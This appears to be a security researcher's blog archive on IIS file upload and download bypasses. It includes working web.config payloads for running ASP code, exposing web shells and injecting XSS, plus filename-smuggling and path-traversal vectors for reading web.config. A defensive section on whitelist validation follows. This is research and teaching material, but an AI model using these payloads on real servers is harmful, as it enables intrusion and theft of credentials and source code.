Tag Archives: Unrestricted File Upload

Upload a web.config File for Fun & Profit

The web.config file plays an important role in storing IIS7 (and higher) settings. It is very similar to a .htaccess file in Apache web server. Uploading a .htaccess file to bypass protections around the uploaded files is a known technique. Some interesting examples of this technique are accessible via the following GitHub repository: https://github.com/wireghoul/htshells

In IIS7 (and higher), it is possible to do similar tricks by uploading or making a web.config file. A few of these tricks might even be applicable to IIS6 with some minor changes. The techniques below show some different web.config files that can be used to bypass protections around the file uploaders.

Running web.config as an ASP file

Sometimes IIS supports ASP files but it is not possible to upload any file with .ASP extension. In this case, it is possible to use a web.config file directly to run ASP classic codes:

<?xml version="1.0" encoding="UTF-8"?>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
               <remove fileExtension=".config" />
               <remove segment="web.config" />
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
' it is running the ASP code if you can see 3 by opening the web.config file!

Removing protections of hidden segments

Sometimes file uploaders rely on Hidden Segments of IIS Request Filtering such as APP_Data or App_GlobalResources directories to make the uploaded files inaccessible directly.

However, this method can be bypassed by removing the hidden segments by using the following web.config file:

<?xml version="1.0" encoding="UTF-8"?>
                    <remove segment="bin" />
                    <remove segment="App_code" />
                    <remove segment="App_GlobalResources" />
                    <remove segment="App_LocalResources" />
                    <remove segment="App_Browsers" />
                    <remove segment="App_WebReferences" />
                    <remove segment="App_Data" />
					<!--Other IIS hidden segments can be listed here -->

Now, an uploaded web shell file can be directly accessible.

Creating XSS vulnerability in IIS default error page

Often attackers want to make a website vulnerable to cross-site scripting by abusing the file upload feature.

The handler name of IIS default error page is vulnerable to cross-site scripting which can be exploited by uploading a web.config file that contains an invalid handler name (does not work in IIS 6 or below):

<?xml version="1.0" encoding="UTF-8"?>
         <!-- XSS by using *.config -->
         <add name="web_config_xss&lt;script&gt;alert('xss1')&lt;/script&gt;" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="fooo" resourceType="Unspecified" requireAccess="None" preCondition="bitness64" />
         <!-- XSS by using *.test -->
         <add name="test_xss&lt;script&gt;alert('xss2')&lt;/script&gt;" path="*.test" verb="*"  />
               <remove fileExtension=".config" />
               <remove segment="web.config" />
   <httpErrors existingResponse="Replace" errorMode="Detailed" />

Other techniques

Rewriting or creating the web.config file can lead to a major security flaw. In addition to the above scenarios, different web.config files can be used in different situations. I have listed some other examples below (a relevant web.config syntax can be easily found by searching in Google):

Re-enabling .Net extensions: When .Net extensions such as .ASPX are blocked in the upload folder.
Using an allowed extension to run as another extension: When ASP, PHP, or other extensions are installed on the server but they are not allowed in the upload directory.
Abusing error pages or URL rewrite rules to redirect users or deface the website: When the uploaded files such as PDF or JavaScript files are in use directly by the users.
Manipulating MIME types of uploaded files: When it is not possible to upload a HTML file (or other sensitive client-side files) or when IIS MIME types table is restricted to certain extensions.

Targeting more users via client-side attacks

Files that have already been uploaded to the website and have been used in different places can be replaced with other contents by using the web.config file. As a result, an attacker can potentially target more users to exploit client-side issues such as XSS or cross-site data hijacking by replacing or redirecting the existent uploaded files.

Additional Tricks

Sometimes it is not possible to upload or create a web.config file directly. In this case, copy, move, or rename functionality of the web application can be abused to create a web.config file.

Alternate Data Stream feature can also be useful for this purpose. For example, “web.config::$DATA” can create a web.config file with the uploaded file contents, or “web.config:.txt” can be used to create an empty web.config file; and when a web.config file is available in the upload folder, Windows 8.3 filename (“WEB~1.con”) or PHP on IIS feature (“web<<”) can be used to point at the web.config file.

File Upload and PHP on IIS: >=? and <=* and "=.

In file upload attack, sometimes overwriting existing sensitive files such as web.config, .htaccess, or crossdomain.xml is needed in order to bypass protections around the uploaded files.

I found out that PHP on IIS (I used FastCGI) converts the following characters when it is going to save a file in Windows:

Greater-than symbol (closing angle bracket “>”) TO a question mark (“?”)

Less-than symbol (opening angle bracket “<”) TO an asterisk symbol (“*”)

Double quotation mark (“””) TO a dot character (“.”)

This feature can be abused to bypass file extension protections in which a file uploader accepts a file name without any extension or uses a blacklist method to check the file name and extension.

Now as an example, in order to overwrite a web.config file in the upload directory when the .config extension is blocked, it is possible to use “filename=”web<<“” in the file upload request. If “web**” replaces another file in the same directory (for example web.aspx), another combination can be used such as “filename=”web<<>fig”” or “filename=’web”config’”.

Note 1: Windows 8.3 feature could also be used but it would rename the web.config file to web~1.con in the end.

Note 2: Asterisk and question mark symbols cannot be used directly as the file system rejects them.

Note 3: Sometimes WordPress replaces double and single quotation marks with visually similar symbols. Therefore, it is recommended to type the vectors yourself in Burp Suite or other proxies that you use instead of copy/paste them directly from here.

You can also see the first version of my “File in The Hole” slides located at the following URL: https://soroush.secproject.com/blog/2012/11/file-in-the-hole/

I have found this technique myself so please send me a link if you had seen it somewhere else before, and I will add its link here as well.

Updates – similar efforts on this topic (this method was known before as expected!): 





File in the hole! – HackPra slides

Last week, I had a talk in Bochum University about file upload vulnerabilities. I am going to share the slides and clips with you as they are already public via HackPra website:


I have been told that the video will be available soon as well. I really recommend that you see the other talks in that website too.

Here are my slides in different formats:

Download the Power Point format

Download the PDF format

In this talk, I had revealed some 0days as examples (vendors already know about these issues):

File Upload Protection bypass in FCKEditor 2.6.8 ASP version (Mostafa Azizi, Soroush Dalili) [Page 53 of Power Point file]

Denial of Service issue in FCKEditor 2.6.8/CKFinder 2.3 (Soroush Dalili) [Page 54 of Power Point file]

Directory Traversal in GleamTech Filevista (Soroush Dalili) [Page 22 of Power Point file]

You may be able to find similar issues in other web applications that have file upload functionality by using some of these methods.


Note: Quick patch for FCKEditor 2.6.8 File Upload Bypass:

In “config.asp”, wherever you have:

      ConfigAllowedExtensions.Add    “File”,”Extensions Here”

Change it to:

      ConfigAllowedExtensions.Add    “File”,”^(Extensions Here)$”

Unrestricted File Download V1.0 – Windows Server

Downlaod the PDF file: http://soroush.secproject.com/downloadable/Unrestricted_File_Download_V1.0.pdf

Unrestricted File Download V1.0 – Windows Server

I do not want to talk about Insecure Direct Object References without any protection as they are obviously exploitable; Instead, I want to talk about bypassing the protected ones! The problem that I want to explain here is how hard it is to protect a system that uses Insecure Direct Object References by using black-list technique.

Whenever penetration testers see a website which accepts a path as an input, they think about these questions:

1- Can I have access to the secret files?

2- Can I do directory traversal?

3- Can I modify another file?

4- Can I do race condition?

And so on.

The answer from programming point of view is: “it depends!”:

1- If they have no protection in-place: “Yes. Yay!”

2- If they are using black-list method: “Think about a bypass now! There should be a way and I just need to find it! Think about encodings, decoding, effective characters, behaviour of the system against special characters, and so on.”

3- If they are using white-list method: “Is there anything on the list that can be misused? Can I stick some of them together to make another character or change the behaviour of the system?”

My point is that there is often a way to bypass a black-list. However, it is not the same for white-list if you do it correctly.

Let’s Bypass a Blacklist Method

Now, I want to use a case to show an example of using black-list, and methods of bypass.

Assume we have “www.vulnerable.com/download.aspx” which accepts a file path as an input and reads it and loads it into the output. (To make it easier, “/upload” folder is on the root of the website)

For example: “/download.aspx?file=/upload/document.doc”

Now, if you try the following inputs, you will receive an “access denied” error from the page:




But, if you try the following inputs, you will receive a “file not found” error or a blank-page from the page:




According to the response of the page, obviously, it is using a black-list method.

These are the first things that I can think about (my pre-test-cases):

0- Use uppercase, lowercase, and Unicode in the extension. For ex: “/download.aspx?file=/wEB.CoNfiG” and so on.

1- As you might know, there are some characters after the filename that will be ignored by Windows. So, I should try something like “/download.aspx?file=/web.config.” or “/download.aspx?file=/web.config… ..”

2- Using short filename format of the file: “/download.aspx?file=/web~1.con”

3- Using null character: “/download.aspx?file=/web.config%00.txt”

4- Using another extension in the path: “/download.aspx?file=/test.txt/../web.config”

5- Using different space characters in the path: “/download.aspx?file=/web.config%09”, “/download.aspx?file=/web.config%0a”, “/download.aspx?file=/web.config%0b”, “/download.aspx?file=/web.config%0c”, “/download.aspx?file=/web.config%0d”, “/download.aspx?file=/web.config%20”, and so on (similar to 1).

6- Finding a character that is removed by the web application automatically before loading a file to put it in the extension and bypass the black-list protection.

7- Try alternate data stream to read the files: “/download.aspx?file=/web.config::$Data”

8- Try to use direct path and share path. Ex: “/download.aspx?file=c:\\windows\\win.ini”, “/download.aspx?file=\\?\c:\\windows\\win.ini”, or “/download.aspx?file=\\\c$\WINDOWS\\win.ini”

9- Try to do directory traversal. Ex: “/download.aspx?file=../../../../../../../../../../../boot.ini”

10- Try other file-system understandable vectors. Ex: “/download.aspx?file=web.config/.”, “/download.aspx?file=web.config\.”, and so on (similar to 1).

And combination of the above solutions to create more complicated test cases!

What do you think? Please let me know if you know any other interesting test case. This is the result:

0 Successful: Web.config was downloaded
1,2 Failed: Show the source code in error message. Error: “Failed to map the path”
3,7,8 Failed: Show the source code in error message. Error: “is not a valid virtual path”
4 Failed: Access Denied
5 Successful: Web.config was downloaded
6 Failed: No character was found
9 Failed: Show the source code in error message. Error: “Cannot use a leading .. to exit above the top directory”
10 Successful: Web.config was downloaded. Some new vectors were found: “?file=\.”, “?file=/.”, “?file=/\./\.”

Each of the above vectors could lead to bypassing the protection. Now, I can tell you that the actual vulnerable source code of the page was:

10 string fileName = Request.Params[“File”];20 if (ForbidenExtentions.Contains(fileName.Substring(fileName.LastIndexOf(“.”))))

30 {

40 HttpContext.Current.Response.Redirect(“~/CustomError.aspx?msg=ForbidenFileDownload”);

50 }

60 if((fileName != null) && (fileName != “”))

70 {

80 string strPath = Server.MapPath(“/” + fileName);

90 if(System.IO.File.Exists(strPath))

100 { …

And, we can download the confidential files with different vectors (see number 0, 5, and 10 on the table above). Now, an attacker can download the entire website and look for the credentials, hidden files and folders, and find any other vulnerability such as SQL Injection by having the source code.

Secure and Effective Solution

Now, what can we do to stop this attack? These are the general solutions:

1- Do not use direct object references when it is possible:

For indirect references, use something random, hard to guess, and meaningless such as GUIDs. You need to implement more functions and invest more time on programming and debugging. However, your achievements are:

1.1- Increasing the Security by using strong random pointers such as GUIDs

1.2- Easier asset managing and have different access controls

2- Force yourself to always use white-lists:

It is very rare that you have to only use a black-list for an input! If an input is random and unpredictable, you may need to redesign that input. Write down the input purpose(s) and do whatever you can to restrict it to a range of characters. Now, think about this range and review the characters one by one. Is there anything in the list which can cause an issue? Do you need to allow any other characters besides [a-zA-Z0-9]? Why? Think about it and follow the best security practices.

Sometimes you need to use blacklist after passing the input from a white-list to have more security. For example: an input can contain a file path. Therefore, we should allow dot “.” character. However, we should not allow any double dot “..” as it can cause directory traversal.

If you are designing a system, look for the vulnerabilities which have been reported on the similar systems in Internet. You may find something that you had not had any knowledge about it before! Do not think that you know everything! Even a semi-colon or colon can compromise your system sometimes.

Talk about your system with the security people; with experts (not script kiddies). You can ask your questions in different security forums to find a clue. Ask them to break your protection to improve the security.

Note 1: a bad implementation is worse than not having any implementation! When you don’t have any protection, at least you know you do not have anything to protect yourself and the system is unsafe!!! However, when you have an insecure/bad implementation, you think the system is safe enough but it is not, and attackers will find this out – trust me!

Note 2: If you are putting different inputs next to each other, it is better to pass them at least through a black-list protection after concatenation.

Now, without using an indirect reference, two solutions for our vulnerable example (“www.vulnerable.com/download.aspx”) can be:

Solution 1 (More White-list – more restricted):

1- Replace all the “/” with “\” character in order to make the validation easier (for Windows OS). (Black-List)

2- Replace all the dot characters before the backslash character (“.\”) with a single “\” character in order to make the validation easier. (Black-List)

3- Only accept limited characters as an input: RegEx: (([a-zA-Z0-9][\.]{1})|[a-zA-Z0-9\\])*

4- File name should start with: RegEx: ^[a-zA-Z0-9\\] (White-list)

5- File name should end with: RegEx: [a-zA-Z0-9]$ (White-list)

Then a general ReGex will be (include 3, 4, and 5): ^([a-zA-Z0-9\\]{1})(([a-zA-Z0-9][\.]{1})|[a-zA-Z0-9\\])*([a-zA-Z0-9])$ (White-list)

6- Find the file extension by using the last dot “.” character of the file. This extension should be in the list of allowed extensions such as “gif”, “jpg”, “doc”, “docx”, “pdf”, “rtf”, and so on. (White-List)

Limitation: It is not possible to use Unicode or special characters in the file or the directory name.

Solution 2 (More Black-List – less restricted):

1- Trim the input to remove unnecessary spaces (Black-List)

2- Replace all the “/” with “\” character in order to make the validation easier (for Windows OS). (Black-List)

3- Replace all the “..” with “.” character in a loop till you cannot find any “..” anymore. (Black-List)

4- Replace all the space and dot characters before and after the “\” character with a single “\” character in order to make the validation easier. (Black-List)

5- Replace all the “\\” with “\” character in order to make the validation easier. (Black-List)

6- Path should not contain these characters: RegEx: [^:*?”<>|;~] – (for Windows OS)

7- Find the file extension by using the last dot “.” character of the file. This extension should be in the list of allowed extensions such as “gif”, “jpg”, “doc”, “docx”, “pdf”, “rtf”, and so on. (White-List)

Quick Conclusion:

Stop using blacklist protections for direct object references if you cannot use indirect ones. Moreover, do not forget to talk to the specialists to implement it correctly.

Final Words

Please send me your feedbacks via my email address (irsdl at yahoo dot com) to improve this white-paper. You can use whole or part of this document by putting a reference to the author (Soroush Dalili) and link of the main document.

Currently just by using Google, a lot of vulnerable websites and Content Management Systems (CMS) can be found. If you find an issue based on the content/idea of this paper in a permitted system (such as your website CMS), please report it to its legal authority to patch the system as soon as possible; and I would be thankful if you put a link to this document as a reference in your advisory.

However, please do not use this knowledge against any website or system without having a legal permission. And, I do not accept any responsibility for any usage from this white-paper and its content/idea.


– OWASP, Unrestricted File Upload: http://www.owasp.org/index.php/Unrestricted_File_Upload

Downlaod the PDF file: http://soroush.secproject.com/downloadable/Unrestricted_File_Download_V1.0.pdf

Backup link is also available: http://0me.me/files/soroush.secproject.com/Unrestricted_File_Download_V1.0.pdf